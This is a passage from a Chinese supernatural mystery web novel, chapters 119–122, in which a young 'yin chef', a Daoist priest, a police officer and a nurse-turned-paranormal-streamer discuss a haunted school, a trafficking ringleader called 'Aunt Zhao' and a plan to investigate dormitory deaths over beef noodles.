这种感觉实在太过糟糕，就如同置身于一个封闭的牢笼之中，无论怎样挣扎都难以逃脱束缚，只能被迫忍受这令人窒息的氛围。
“你们学校四面环山，位于盆地之处，地势低洼，这样的地方极其容易汇聚阴气，我在你们学校转了转，看到你们学校的草坪上经常会放着一两个大石头，那些大石头可不是随便放上去的，摆放、朝向、数量、大小都是有讲究的，应该是校领导请过某个高人指点，在高人的布置下，这些石头放上去压阵的，以整个学校为一个八卦阵，石头压住了阵眼，减少阴魂作祟。”
吴妄伸出手，指着楼下的草坪。
经过他的提示，沈聆想起来学校的小道旁、草丛边甚至是湖边，的确有很多大石头，当时以为是施工后遗落的废弃石头，现在想来，或许任何一块石头的出现都不是偶然。
“居然是这样……我也听说过我们学校以前是乱葬岗，因为阴气很重，加上也曾经发生过灵异事件，所以才没有开发商敢在这里开发楼盘，于是最后定了学校。”
吴妄沉声说道：“这个做法倒是可以理解，修建学校的话，学校里人气比较旺，而且是教育行业，积攒福祉，跟你积累阴德一个道理。”
沈聆拉了拉道长的衣角：“我今天还听说啊，我们学校发生过很多诡异的事情……什么突然出现的最后一级台阶啊、舞蹈室的女鬼啊、恐怖的四人游戏啊之类的……我还以为是什么鬼故事，这么看来，说不定真的内有乾坤。”
“如果要知道这些事情的真伪，来调查一下不就好了。”
“你的意思是……”
吴妄说着，微微一笑：“找个黄道吉日，我们夜访陵川一中，我想应该会看到一些有趣的东西才对。”
“夜访陵川一中？”
“不是说闹鬼吗？那我们就亲眼看看到底闹的是什么鬼。”
……
他们丝毫没有察觉到，就在这栋大楼六楼走廊的另一端，梁林静静地伫立在走廊的尽头处。
微风轻柔地拂过，微微扬起了他额前的几缕发丝，他那双深邃的眼眸眺望着远方，仿佛要将远处那层层叠叠的云层看穿一般。
“青城山吴妄？有意思，我倒是许久没有接触过青城山的人了。”
就在这时，一只洁白如雪的鹦鹉扇动着翅膀，朝着梁林飞来。
梁林见状，缓缓地伸出右手，只见那只鹦鹉毫不犹豫地轻盈落下，宛如与他心有灵犀一般，他的手指温柔地顺着鹦鹉那光滑柔顺的羽毛轻轻抚摸，而后又轻轻地用食指轻点了一下它那颗小巧玲珑的脑袋。
那只鹦鹉眨巴着圆溜溜的大眼睛，竟然张开嘴巴清晰地说道：“恭喜发财，恭喜发财……”
“那颗弃子，丢了就丢了吧，本就是个废物，丢了也不可惜。”
119. 产科疑影
在今天放学之后，沈聆去了一趟平安医院。
妹妹沈凝明天有一场手术需要家属签字，沈聆找到了沈凝的主治医生，并了解了一下沈凝近期的手术情况——
妹妹目前的手术进展情况良好，主治医生告诉沈聆，病人的一切手术进展都比想象中要更顺利一点，所有的外科手术虽然都有一定的风险，但她妹妹似乎是天选幸运之人，无论是颅脑手术还是骨科手术，都顺利完成了，接下来虽然还有几场四肢骨关节的修复手术，但那些手术的风险程度较低，不必太过担心。
“再观察一个月，如果病人情况稳定的话，应该可以从ICU转到IMCU。”
徐医生是这么说的。
他说IMCU也叫做中间护理病房，这类病房的医护等级比较低ICU要低，IMCU是介于ICU和普通病房之间的一类病房，用于收治疾病较重、但不需要ICU级别的病人，IMCU没有ICU这么烧钱，能从ICU转到这类病房，说明病人的情况已经大有好转，并且已经脱离了生命危险，再治疗一段时间，如果效果不错的话，就能转到普通病房了。
“那么……我妹妹什么时候能醒过来？”
“目前你妹妹的颅脑康复情况良好，但是具体什么时候可以醒过来，我们也不好说，她躺在ICU里，都有颅脑监护、心电监护，从客观数据上来说他，她的一切生命体征良好，我们作为病人家属，要对病人有细心，她是个孩子，身体复原情况会比成年人更好一点、更快一点，我相信不用多久就可以醒过来的。”
徐医生冷静的话语透着肯定的语气，他是沈凝的负责医师，也是副主任级别的医生，有他在，沈聆稍稍对妹妹的情况放心了一点。
ICU的医护人员还贴心地为沈聆拍了几张妹妹的照片，从照片里沈聆看到剃光了脑袋的妹妹浑身插着管子躺在病床上，前段时间的颅脑手术已经完全修复了她原本凹陷变形的脑袋，此刻，她脑袋虽然还裹着纱布，但已经恢复了正常颅脑的形状。她紧闭双眼，看起来正在沉睡着，身边那些心电监护仪等设备的指标看着也挺平稳的样子，虽然经历了一场严重的车祸，但到目前为止，沈凝的性命算是都保住了。
接下来就是等待病人苏醒，进一步恢复正常功能，以及创伤后的康复治疗……
路还很远，但是只要一步一步走，总是能到达终点的。
沈聆相信，只要自己更努努力攒阴德，妹妹一定能更快、更好地康复。
只要妹妹能好起来，做什么都可以。
在办理了妹妹住院的手续和医药护理文件之后，沈聆来到产科找宋明夷。
她找了一圈，发现宋明夷在给某床产妇做胎心监测。
白色的衣服衬着白色的头巾，宋明夷的头发盘起在脑后并用发夹固定着，此刻的她只上了淡妆，但看起来浓淡相宜，多了几分白衣天使的清纯。
沈聆默默等在一边，等宋明夷做完胎心监护，并嘱咐了产妇一些注意事项之后，转头便看到了站在门口的沈聆。
“小聆聆！你来啦！”
宋明夷一看到沈聆，嘴角不由得上扬了几分，有右手抱着笔记本，左手挽上了沈聆的手，两人就这么朝着护士站走去。
“你下课啦！”
“对，刚刚放学。”
“吃饭了吗？这个点可能还没吃吧？正好我今天是白班，现在也是下班的时间点了。不然我们吃个饭，我知道一家很好吃的牛肉店，就在医院旁边，我请你吃！”
“可以是可以，不过吴妄还没吃饭，他去找林凌的，我估计林凌也还没有吃，不然我们四个一起约饭吧，正好有些事情想跟大家商量一下。”
“好耶！”
当两人缓缓走过产科走廊时，沈聆毫无征兆地像是被某种神秘力量触动一般，骤然停下了前行的步伐。
——就在那一刻，一种难以言喻的感觉如同疾风般从她身旁掠过。风中似乎裹挟着若有若无的血腥气息，丝丝缕缕地钻入她的鼻腔，令她的心不由自主地加速跳动起来，节奏愈发急促。几乎是出于本能反应，她下意识地紧紧屏住了呼吸，生怕多吸入一丝那诡异的味道。
与此同时，沈聆手腕上戴着的铃铛突然发出清脆的响声：“叮铃......”
“？”
她猛地扭过头，目光直直地凝视着身后那条悠长的走廊，仿佛那里隐藏着不为人知的秘密。
沈聆不禁皱起眉头，满脸狐疑之色。
她瞪大眼睛，开始仔细审视四周的环境——只见明亮的灯光均匀地洒落在走廊的每个角落，将一切都照得清晰可见。护士们忙碌地穿梭于其间，产妇和家属们或行色匆匆，或驻足交谈，眼前的场景看上去如此平凡无奇，没有任何异样之处。
然而，尽管表面上风平浪静，可不知为何，沈聆的脑海中却不由自主地浮现出当初为秦琴唤魂、祭魂时的一幕幕画面，那些阴森恐怖的场景如潮水般汹涌而至，瞬间占据了她的整个思绪。
“怎么了？”宋明夷顺着沈聆的视线看向走廊，但并没有发现什么异常。
“我只是想起了秦琴……”
“哦哦，她不是已经转世了吗？她现在的床位也有新的产妇住了。”
“但是……你还记得吗？那天晚上我们祭魂的时候……以及前一天我们唤魂的时候……明明走廊里的动静这么大，为什么周围的产妇都像是没有听到一样？”
沈聆说出了一直深藏在自己心里的疑问。
那两个晚上，她们两个闹出了很大的动静，但是不知道为什么，周围的产房像是有一层结界一样，里面的产妇并没有听到她们的动静。
“额，这……你这么一说，还真是哦，那两个晚上动静这么大，医院这么安静，她们应该早就被吵醒了才对。但是还真没有人出来看看发生了什么……甚至第二天都没有人来投诉说半夜听到什么奇怪的动静，就好像……”
“就好像当时她们身处另一个时空？”
“嗯，有点那个意思了。”宋明夷说
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着，不由得打了个冷颤，“哎呀，讨厌啦，你这么说还怪可怕的，我这几天就要夜班一次，你可别吓我了。”
“从那天之后，就没有再遇到什么诡异的事情了吧？”
宋明夷认真思考了一下，将手中的本子放在了护士站，转头看向沈聆：“没有了。那件事情过后，产科都恢复了正常……会不会是你多心了？”
“……大概吧，但是我总觉得这件事情没那么简单，你还是多留意一下。”
“好。”宋明夷说着，往护士站的值班室走去，“小聆聆，你等我一下，我换个衣服。”
“好的。”
沈聆在护士站外等待宋明夷，但内心仍旧存了一个疑影。
这太奇怪了。
其实，沈聆的直觉是对的。
平安医院产科的诡异事件，并没有就此结束，但这个问题的答案，得等许久之后她才能知晓。
当前，暂且不提。
“——”
口袋里的手机震动了一下，沈聆的注意力转移到自己的手机上。
她拿出手机，发现是吴妄发来的短信。
——【沈聆，吃饭了吗？-?(?''?''?)???-】
他好像很喜欢用颜表情，特别是在发短信的时候，可沈聆总觉得他在卖萌。
【还没有。】
【目前还在平安医院。】
没多久，吴妄回复了一条短信。
——【一起吃饭吗？(^▽^)】
沈聆一挑眉。
【道长，你是没钱吃饭吧。】
——【刚好林凌也还没有吃饭，要不要一起吃？反正平安医院和警察局也不远。?(^?^*)】
【可以呀，正好宋明夷也要下班了，我想着我们四个人一起去吃饭吧，她说知道一家很好吃的牛肉面。那你负责把林凌带过来。】
——【他有车，我们去接你们。??ω??】
【道长你可不可以不要用颜文字了，感觉好违和啊，和你的形象格格不入。】
——【会吗？但是我感觉很适合我诶，毕竟我这么亲切和善，阳光开朗。?>?o?】
沈聆皱起眉头，一瞬间像是看到了脏东西。
她放下手机，已经不想跟吴妄回复了，每次看到发过来的短信里加上颜文字，她都会下意识地想象出这个表情如果真的做在吴妄脸上会是什么样子……
光是想想，都是灾难。
“小聆聆，我们走吧！”
宋明夷的声音响起，沈聆抬起头，看见宋明夷已经换上了便服，跟周围的同事简单交接了一下要工作内容，重点强调了一下要注意的几床月份大的产妇之后，她背着小挎包朝着沈聆而来。
“待会儿吴妄和林凌要过来平安医院找我们，我们一起去吃吃饭吧。”
“好呀！我也有几天没看到林大哥了，正好，不知道他那边有没有什么内幕消息，嘻嘻，我感觉又要有素材啦！小聆聆，你真是我的灵感慕斯！”
120. 辛玲的房东
沈聆和宋明夷在平安医院的大厅等了一会儿后，林凌和吴妄就到了。
当时，宋明夷正拿着自己的手机，兴奋地跟沈聆分享自己近期上涨的热点数据。
“小聆聆我跟你说！我最近涨粉好多啊！特别是上一次殡仪馆的素材剪辑了之后放出来，虽然很多人质疑我是不是AI生成的灵异视频，但许多热衷于探索灵异事件的人都关注我了！”
“殡仪馆的时候你还带着摄像头呢？”
“对啊！微型摄像头，就是我之前给你的那种，可以夹在衣服上的摄像头，不过你放心，因为涉及到个人隐私，我在剪辑视频的时候，并没有把女鬼的脸放出来，毕竟她生前也是人，虽然她在殡仪馆追杀我，但我也不能做一个不道德的女主播。”
宋明夷说的是那个在殡仪馆追杀自己的女鬼。
但经她这么一提示，沈聆才想起来了：“对啊，你说那个女孩子生前是住在你们小区的，但是后续我们好像并没有查到和她有关的事情。”
“她叫辛玲，我们在那个干尸坑里发现了她的尸体。”
一个声音从旁边传来，沈聆和宋明夷寻声看去，看见林凌和吴妄朝着他们而来。
“林大哥！”宋明夷看见林凌走来，开朗地一笑。
沈聆寻声看去，发现林凌近来仿佛因着查案而消瘦了些许，原本俊朗的面容此刻略显憔悴。
他那头乌黑的发丝稍显凌乱，失去了平日里精心打理后的整洁与光泽；眼眶下方挂着几抹淡淡的黑眼圈，仿若被墨汁晕染开一般，透出丝丝疲惫之色；原本圆润饱满的脸颊也微微凹陷下去，使得那张脸看上去棱角分明，曾经洋溢着的满满少年气息亦随之减少了几分。
由此不难想象得出，这段时间于警察局中的他定然是日夜操劳、连轴运转，其中艰辛着实不易。然而即便如此，他依然身姿笔挺如松，步伐沉稳有力，每一步都迈得坚实且坚定。
跟在林凌身后的吴妄，则又是另一番模样。
只见他双手悠然自得地插在衣兜之中，嘴角噙着一抹若有若无的微笑，整个人看上去依旧是那般云淡风轻。似乎尘世间诸般琐事皆无法搅扰到他内心深处的宁静，更难以打破那双深邃眼眸里所蕴含的平和与安宁。
此时此刻，他的目光正轻轻落在前方不远处的沈聆和宋明夷二人身上。
宋明夷朝着吴妄招了招手：“还有吴道长！我也好久没有看到你啦！”
“晚上好。”吴妄礼貌地回答，“也没有吧，好像前几天你还来我们家吃过早饭。”
“我们家？是我家吧。”沈聆梗他。
“一样一样，都是小道现在暂时落脚的地方。”吴妄轻轻带过了这个话题。
林凌环视了一圈周围，周围都是病人家属或者是路人，不适合在这里讨论比较敏感的话题：“我们先走吧，这里人多口杂，还是不要说太多。”
“好。”
于是乎，四个人一起上了林凌的车，宋明夷将那家牛肉面的定位发给了林凌，林凌开了个手机上的导航后，小汽车在原地掉了个头，离开了平安医院。
“好家伙，你这家牛肉面好像在什么犄角旮旯的胡同里，待会儿可能得把车停在路边，下车走一段。”林凌看了一眼导航上的路线图，双手在手机屏幕上划动着，放大了几分屏幕上的地图。
“酒香不怕巷子深嘛，我找的那可都是本地老牌子的牛肉面了，保证你们都没有吃过！”宋明夷拍了拍胸脯。
林凌双手紧紧地握住方向盘，稳稳当当地坐在驾驶座上，目光专注地凝视着前方的道路。
而宋明夷则坐在副驾驶位上，她熟悉这一片街区，正为林凌指路，那些羊肠小道，在小区里穿来穿去，甚至连林凌都没有走过。
在后排座位上，沈聆安静地坐着，一头乌黑的长发扎成了高高的马尾辫。吴妄则坐在她身旁，轻轻地将车窗打开了一条缝隙。
顿时，一股清凉的夜风从车外吹拂而入，调皮地撩动着吴妄脸颊旁的发丝，那几缕发丝随风飘动，宛如柳枝般轻盈，同时，这股微风也轻轻拂过沈聆的马尾辫，使得它微微扬起。
此时的夜风带着些许凉意，但却并不寒冷，反而给人一种清爽宜人的感觉。
白日里那耀眼的阳光和明媚灿烂的景象，在夜晚渐渐消散，取而代之的是一片宁静与祥和。
马路两边的店铺霓虹灯光芒闪烁，五彩斑斓的光线不断变换着颜色和形状。
这些光芒如同流星一般迅速掠过车窗，投射进车内，一时间，车厢内交织着各种杂乱无章的光影，有的明亮夺目，有的黯淡柔和，它们相互交错、重叠，构成了一幅犹如浓墨重彩的画卷。这幅画卷随着车辆的行驶而不断变幻，时而如梦幻般迷离，时而又似真实的场景展现在眼前。
“林警官，你刚才说，辛玲的尸体也在我们在殡仪馆后面发现的那个干尸坑里是吗？”
“对。”林凌微微抬起头，看向了后视镜，在后视镜里，沈聆的脸色显得有点儿苍白，“我们警局这几天连轴转，调查干尸坑那些干尸的身份，其中有一些干尸已经损坏，特别是颅脑面容，那些干尸没办法辨别身份，只能暂时提取DNA存档，而有一些尸体死亡的身份并不远，尚且可以辨认，辛玲就是其中之一，她的父母在外地老家，曾经上报过女儿失踪的事情，并在警察局录了自己的DNA，我们通过DNA比对，这才找出了她的身份。”
“怎么是通过DNA比对？她的面容看不清吗？”吴妄提出了疑惑。
“不，准确的说，她的身体没有脑袋，只剩下一个身体了。”
林凌的这句话宛如一个惊雷，落在车里，一时间，谁都没有说话。
大家都能够想象出身体没有了脑袋会是怎么一个场景，只是一个尸体，一个赤裸的身体躺在干尸堆里，她的尸体一定已经干瘪，如果不是比对了DNA，说不定都无法查出她的真实身份。
“……真是讽刺啊，她在
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殡仪馆的时候，明明只有一个脑袋了。”宋明夷喃喃，“我还记得她的脑袋像一个皮球一样在地上滚动，那些头发就像是触手一样要抓我……”
“辛玲生前是新隆公寓附近一家美发店的店员，理发小妹，我们也曾经去调查过她生前的活动轨迹，发现从三个月开始她就已经失踪了，在失踪之前，并没有跟任何人透露过自己近期有什么异常，根据她同事所说，她生前本就是个不爱说话的人，喜欢穿红色的衣服，她的头发很好看，绸缎一样，理发店的老板就聘用她作为店员。”
林凌将自己掌握的情报、警方的调查结果告知三人。
“据我们的调查，她没有男朋友，也没什么交际网，下了班就回家了，实在是想不出是谁杀了她。三个月前的某一天，在下了班之后，她就再也没有出现过，理发店的老板还以为辛玲这就是辞职不干了，一直到她父母半个月后找过来，才知道她失踪了。”
“那房东呢？她租在我们新隆公寓，房东也没有发现什么吗？”宋明夷追问。
“这就是我要说的重点了。你知道她的房东是谁吗？”
“谁啊？”宋明夷眨了眨眼睛。
“是一个叫做‘赵姨’的人。”
“赵姨？我怎么听这个这么耳熟呢……”宋明夷挠了挠头，总觉得自己似乎在哪里听到过这个称呼。
沈聆的声音幽幽从后座传来：“赵姨……是那个拐走秦琴的人。”
经她一提醒，宋明夷恍然大悟！
是的。
拐走秦琴的那个人贩子组织，其中逃走的头目，就是一个叫“赵姨”的人。
在沈聆阴差阳错查到淮阳牛肉面馆之后，这个人贩子组织也被警方一锅端，唯独组织的头目逃走了，那人像是事先收到了风声一样，在警方现场围剿人贩子团伙的时候，她已经逃之夭夭了，甚至到现在也没有找到。
“对，就是她。”林凌沉声说道，“我们警方已经发布了通缉令，并且协同了周边县区，对‘赵姨’进行排查，但是这个人很小心，我们调取了很多监控摄像头，都没有看到她的真实面貌，就算有，也只是一个模糊的剪影，她总是喜欢穿着深蓝色的衣服，黑色的裤子，身形不是很高，一米六的样子，驼背，卷发，头发略微发白，应该是四五十岁的人，除此之外，就没有更多线索了。”
沈聆追问：“她不是辛玲的房东吗？他们没有签合同之类的吗？辛玲家里的合同上说不定有赵姨的指纹，或者双方都有留存身份证复印件。”
“我们也是顺着这条线查下去，但是我们发现，辛玲家里没有任何指纹，所有与租房有关的文件也全都销毁了，我们是在她微信的聊天记录里看到了她和朋友的聊天内容，才知道了‘赵姨’的存在。”
“没有任何指纹？”吴妄皱眉，“就连她自己的指纹也没有？”
“对啊……”林凌抬起头，看向了远处霓虹灯交织的街道，“简直像是……被提前‘清理’过一样。”
121. 吴妄的臭脸
在四人弯弯绕绕来到了一个小巷子里的时候，夜色如墨，浓稠得仿佛化不开。
清冷的月光洒在斑驳的墙壁上，为古老的巷子增添了一抹神秘的色彩。巷子另一头亮着昏暗的灯光，宛如夜空中一颗微弱的星辰。
因为小巷子无法开车进去，林凌便将车停在了路边。
路边的树木在风中摇曳，树叶纷纷飘落，四个人下车朝着那小巷子里走，宋明夷走在最前面，她兴奋地看着小巷尽头的灯光，喃喃着自己自从高中毕业已经很久没有吃这家牛肉店了。她的眼神中充满了期待，仿佛回到了年少时光。
周围的空气冷了几分，刚下车的时候迎面便感觉到了风中的凉意，沈聆放眼望去，一个小摊铺似乎在巷子的尽头，若隐若现。
那盏灯忽明忽暗的，照亮了一方黑色的石板路。石板路上布满了岁月的痕迹，坑坑洼洼，在灯光的映照下，更显出了几分年代感。
夜风轻轻拂过，带着丝丝寒意，仿佛在提醒着人们秋天的到来。路边的树叶沙沙作响，像是在低声诉说着夜晚的故事。
一个小摊子支棱在灯柱旁，可以看到几张方形的小桌子和小凳子摆在了摊铺前面，一口大锅像是用来烫牛肉的一般，大锅上的水蒸气氤氲着路灯的灯光，宛如一层薄薄的轻纱，几个人影在摊铺前忙碌着，一脉人间烟火气的感觉。隐隐约约可以嗅到空气中弥漫着牛肉的香气，让人垂涎欲滴。
“沙……”
周围的空气越发寒冷，刚下车的时候，迎面而来的风中带着深深的凉意，走进了小巷里，那寒意似乎更深了几分。
沈聆双手抱着胳膊，阴五行的她本就比一般女子更体寒几分，这夜风的凉意，让她不由得颤抖了一下。
她的脸色有些苍白，嘴唇微微发紫。
走在她旁边的林凌见状，细心地脱下了外套，礼貌地披在了沈聆身上。
林凌的动作很轻柔，仿佛怕惊扰了她。
感受到外套上淡淡的薄荷味，沈聆抬起头，对上了林凌的眼眸，他的眼神中充满了关切，让人感到温暖。外套上仍旧带着林凌的体温，暖暖的，这一瞬间，沈聆恍惚了一下，像是想起了自己第一次在瑞景路祭拜生母的晚上。
当时，夜晚的风很冷，正在巡逻的林凌看到了她，她就像一个可怜兮兮的小狗，坐在路边。
“……谢谢，说来，你的外套我还没有机会还你，我已经洗好了。”沈聆的声音很轻。
“不着急，我衣服还有很多，先放你那边吧。”林凌回答的声音也很轻，他的声音透着几分疲惫，连日以来连轴转的工作强度纵使是他也有点吃不消，现在算是难得的能够放松的时间，他吹着迎面的夜风，身心倒是感觉到了几分自由的感觉。
他似乎已经很久没有出来好好吃一顿饭了。
往日都是在警察局吃盒饭、加班、睡通铺，这也是难得的放松的时间。
“现在还有很多线索需要跟进吗？”
“怎么说呢……如果说要调查的事情，那几乎是不会有尽头的。”林凌语重心长地说，“殡仪馆的干尸坑发现了很多不明身份的尸体，这件事情轰动了省局，专门成立了专案组进行调查，我们最近才弄清楚那些尸体的身份，但大多数都是上报的失踪人口，至于他们怎么失踪的，我们还分成了不同的小组，前往他们失踪的地方进行调查，后续的信息还有待进一步核实……”
林凌说着看向了几步之外的宋明夷，她已经小跑着跑向了牛肉面的摊铺前，迫不及待地看起墙上张贴的菜单。
“至于在新隆公寓发生的那个事件，目前也要跟进那五个死者生前的活动轨迹……我感觉无论是殡仪馆的事情还是新隆公寓的事情，似乎迫害的对象都是失踪人口，冥冥之中像是有人刻意在制造人口失踪的事件，实际上在背地里将失踪人员残忍杀害，为了达到某一种目的……这些事情，看起来更像是某种宗教仪式。”
沈聆点了点头：“嗯，我也感觉。就好像是有人在刻意搜集生魂一样……而且我觉得，应该就是我们交手了几次的满身煞气的小女孩……对了，你应该没有看到过，但是我、宋明夷和道长看到过，那是一个大概十多岁的小女孩，扎着马尾辫，她浑身都是煞气，我怀疑她就是操控着一切的幕后主谋，她应该是个修为很高的厉鬼。”
“但是按照你这样说，那个小女孩应该已经死了才对，她是怎么在阳间制造失踪案和杀人案的？”林凌皱起眉头，一想到有人在背地里制造冤假错案，甚至是玩弄人命，无名怒火就在内心燃烧。
那个人，简直不把警方放在眼里，也不把公序法治放在眼里！
“一定有人在祭祀她……那个小女孩生前应该受过冤屈，不甘心就这样死去，于是在死后变成了厉鬼，但在此基础上，一定有人还在祭祀她，让她的修为不断提升。”沈聆沉声说道，“在台湾和闽南地区，有人会祭祀路边的阴魂，以请求阴魂帮助他们达到某种目的，在那边，这些阴魂也被叫做‘有应公’或者是‘有应公妈’，受了香火，这些阴魂就会变成如同阴神一样的存在。”
“你是怀疑……那只厉鬼的背后，有人在祭祀她？”
“应该是的，我们在新隆公寓看到的面包店的老板只是其中之一，一定还有更大的力量在背后操控这一切，否则，辛玲公寓不应该一点指纹没有，而且要造成殡仪馆干尸坑这么数量庞大的案件，不是一般人能做到的，祭拜阴神的人，说不定是个权势滔天的人……”
说到这里，沈聆脑海中浮现出的人，就是梁林。
梁林，是梁氏家族的二公子，如果是梁氏家族的话，那么要做到这些事情似乎也不是难事。
这样庞大的商业帝国，往往黑白通吃。
如果说他们也和人贩子组织有勾结，并且将人贩子贩卖过来的人献祭给自己祭拜的阴神，也不是不可能。
他们需要做更多的事情献祭给阴神，这样阴神才能实现他们的心愿。
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这是一场交易。
是一段相互利用的关系。
但关于梁氏家族的事情，沈聆并没有急着告诉林凌，毕竟林凌的身份比较特殊，他现在没有任何证据能够调查梁氏家族，如果他贸贸然行动，说不定会打草惊蛇，与其如此，倒不如按下不提，等他们找到了和梁氏家族有关的线索之后，再让警方介入，或许会更加名正言顺。
“你要注意安全，我虽然不太能理解阴厨这个东西，但是我感觉你好像随时随地都会陷入危险之中。”林凌担忧地说，“你还有外婆，还有妹妹，做事之前不要冲动，特别是这种自己偷偷调查的行为，下不为例。”
林凌表情严肃地看着沈聆。
这已经是她第二次擅自行动了，第一次自己潜入淮阳牛肉面馆，第二次自己跑进了面包店……
还好她福大命大，否则几条命都不够死的。
“……好，我知道了。”沈聆嘿嘿一笑，“这不是因为当时暂时没有证据，不想麻烦你嘛，我想着，我自己去看看情况可能比较快一点，而且也不会打草惊蛇。”
“胡闹！”
林凌抬手，敲了一下沈聆的额头。
沈聆揉了揉自己的前额，忽然感觉到似乎有一股针一样的视线扎在自己身上。
她转过头，看见走在最后面的吴妄正臭着脸看着她。
他的心情好像不是很好，脸色就像是霜打的茄子一样难看。
尤其是在沈聆回头看到他的时候，他的表情更臭了。
沈聆心里咯噔一跳，有种莫名其妙的心虚：“……道长怎么了？”
他别开了眼：“没事。”
“你好像心情不太好？”沈聆停下了脚步，等着吴妄走上前。
“没有。”
吴妄绕过了沈聆，笔直朝着牛肉面摊铺走去。
——他怎么了？
沈聆皱起眉头，疑惑地看着吴妄的背影，有点儿不太能理解。
她总感觉，今天的吴妄有点儿反常。
不，不只是今天，好像自从幻境里出来之后，他给她的感觉就怪怪的。
有时候吧，很温柔，但是有时候吧，又很凶。
“……莫名其妙。”
沈聆嘀咕了一句，那边的宋明夷早就点好了面，吴妄和林凌已经走到了她面前，见沈聆走在最后面，忙跑了过来。
“小聆聆！快来快来！你要吃什么？前几天我发工资啦，今天我请客，算是报答你给我提供了这么多的素材！”
“好呀，但是你不是缺钱吗？这么一请客，感觉你就……”
“不会不会的，我成为热门灵异主播后，得到了很多流量提成，你就放心吧！”
“行呀，那我要吃牛杂面！”
“看不出来啊，你牙口还挺好。”
“那是，我最喜欢吃有嚼劲的东西了，难啃的东西才有味道。”
她挽起沈聆的手，两个女孩子说笑着往摊位而去。
122. 驱鬼小分队
这是一个平平无奇的路边摊。
但这摊铺人来人往，大部分都是陵川市本地上了年纪的老人。
似乎这家牛肉面摊铺在本地人心里很受好评，大家都喜欢在乍暖还寒的时候来上一碗热热的牛肉面，也能驱散体寒。
在众人点了各自的面后，在摊铺前面的小桌子前坐下，林凌抽了一张面巾纸，帮大家擦了擦桌上的油污。
他明明也只是个二十多岁的年轻人，但是做事似乎很老道体贴，看着是咋咋呼呼的年轻人，但却别有一番细心。
“那你接下来打算怎么做？”宋明夷坐在沈聆对面，好奇地追问。
她十分好奇接下来她们要调查的东西，那可是陵川一中啊，学校，一直以来都是灵异事件的多发地点，她都已经计划好了，做一期专门的学校灵异事件集，如果担心涉及到学校隐私不能公开的话，就隐去学校的名称，直接在视频前面标注XX中学，只公布拍摄内容，并不公布真实信息，这么一来，也能在网络上引起一番热烈的讨论。
她已经吃到了热点流量的红利，现在正是乘胜追击的时候，最近来找她的广告都多了起来，只要在自己剪辑的视频里插入一小段广告，就能美美赚钱，这何乐而不为呢？
沈聆看向了林凌：“林警官，不知道道长有没有跟你说，我们要找人鱼镜的事情？”
林凌点了点头：“有的，今天他大概跟我说了下你们在青城山的事情，既然人鱼镜对你们很重要，我也会出一份力，如果有需要我做的事情，尽管吩咐。”
“谢谢。”吴妄感谢地看着林凌。
说实话，要调查这些乱七八糟的事情，警方的确是一个很大的助力，有林凌的存在，他们的调查可以少走很多弯路。
“不用感谢我，我们都是朋友，而且，跟着你们，我们也能查到很多普通调查手段无法查到的线索……可能这些东西我的同事、队长不怎么相信，但是我认为，只要能够破案、能够为死者伸冤，无论是什么手段，只要合法，都可以试一试，我相信大家是好人，而且我相信，只要我们齐心协力，我们一定调查到更多的内幕。”
林凌认真地看着在座的三个人。
现在，他们四个人像是一个完整的团队，各有分工，各有不同的擅长。
他们来自不同的家庭，有着不同的身份背景。
但是在这一刻，他们还有着同样的目标。
无论是阳间的或是阴间的力量，都想着的是维护这个世界的公平秩序，只要是这样，那就是同伴。
“我也会帮你的！有什么需要我做的，尽管开口！在资料搜索、媒体发声方面，我可是一把手！”宋明夷也认真地看着大家，“那我们现在就是驱鬼小分队！”
沈聆看着大家认真的表情，微微一笑。
说实话，刚开始接任阴厨的时候，她还以为接下来将是一个人孤独的旅程。
但没想到，一路走来，小伙伴越来越多，有许多志同道合的人成为了她的朋友，和她一起破案，一起帮助死者伸冤。
她喜欢这样的感觉。
她不再是一个人，不需要一个人面对困难。
“谢谢大家！我和道长商量了一下，接下来，打算调查陵川一中。”沈聆和吴妄对视了一眼后，她抽出包装着塑料袋的一次性筷子，放在桌子上，“第一，我们要调查一下陵川一中前段时间的404女寝案，不知道你们有没有听说，前几周，在陵川一中，404宿舍的三个女孩子突然暴毙身亡，此外，在她们死前的几天，她们的另一个舍友也失踪了，我和道长怀疑这个事情并没有表面上这么简单，很可能是妖邪作祟。”
“我有听说这件事情，当时同城事件的热点抄得挺大的，还差点上了热搜，但是不知道为什么被压下来了，我怀疑可能是有人出钱把这件事情的热度下调了。我记得当时我还看到了一些打马赛克的照片，好像是那间宿舍里的现场照片，隔壁同学偷拍的……”宋明夷说着，打开了手机，直接在几个热门APP上搜索了起来。
但是，这件事情毕竟已经过了好几周，要查到当时的视频照片并不容易，她找了好一会儿，眉头却更深了几分。
“对，不只是热搜上，包括我们学校里，老师们都严禁大家继续讨论这件事情，好像有什么忌讳一样，但我觉得，校领导应该是知道更深的内幕的，如果我们能查到更多的线索，我想应该会有助于调查。”沈聆沉默了一下，接着说道，“明夷，你现在是一个灵异主播，你觉得……如果以你现在的影响力，如果由你出面联系校方，他们会不会同意你调查这件事情？”
“啊？我？他们会接受吗？”宋明夷眨了眨眼睛，一副难以置信的表情看着沈聆。
要知道，学校可是一个教书育人的地方，在这样的地方，是忌讳什么鬼怪言论的。
她是一个灵异主播，又不是私家侦探，校方会同意她介入调查吗？
“从目前已有的信息来看，那三个女孩子死亡的原因至今也没有查到，就和面包店老板一样，属于是‘不可能的死亡’，对外只能草草以‘猝死’下定论，人嘛，在找不到科学结论的时候，都会求助于神学，如果以你的影响力联系校方，我想他们会同意你调查的，毕竟你真的曾经拍到了一些‘奇怪的东西’……”
沈聆说着，看向了吴妄。
“今天道长曾经到我们学校来，他发现我们学校放着很多石头，路边或者草坪，道长是行家，他说那些石头是经过高人指点，放在我们学校各个角落用来压阵驱邪的，说明校领导并不是完全的无神论者，相反，他们说不定很相信这些，只是不能明面上表露出来……我们学校的鬼故事可不止这一件，或许……这些事情一直以来都是他们头疼的事情，只不过无法彻底解决罢了。”
宋明夷点了点头：“按照你这么说，如果石头压阵的事情是真的，那他们可能真的很早
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之前就已经察觉到了学校的灵异现象，只能偷偷找人解决……既然之前已经找人布阵过，那么现在找人调查一下404女寝事件也不是说不过去。”
宋明夷说着，又在手机上点了几下，手机的荧光照亮了她年轻的面容，她的表情严肃了几分。
“我知道了，我这就去查查联系方式，看看能不能私下联系到他们……只不过，沈聆，我需要借助你的阴厨的身份，只有从祭魂的角度跟他们交流，才能尽可能促成这件事情。”
“没关系，你可以跟他们说我的身份，到时候我也会去。他们不是查不到那三个女孩子的死因吗？我去问问看，说不定就有答案了。而且，我们还有青城山的吴妄道长，降妖除魔，不在话下。”
“要收费的。”吴妄默默补充了一句，“如果我出手的话，根据程度不同，收费情况也不同。”
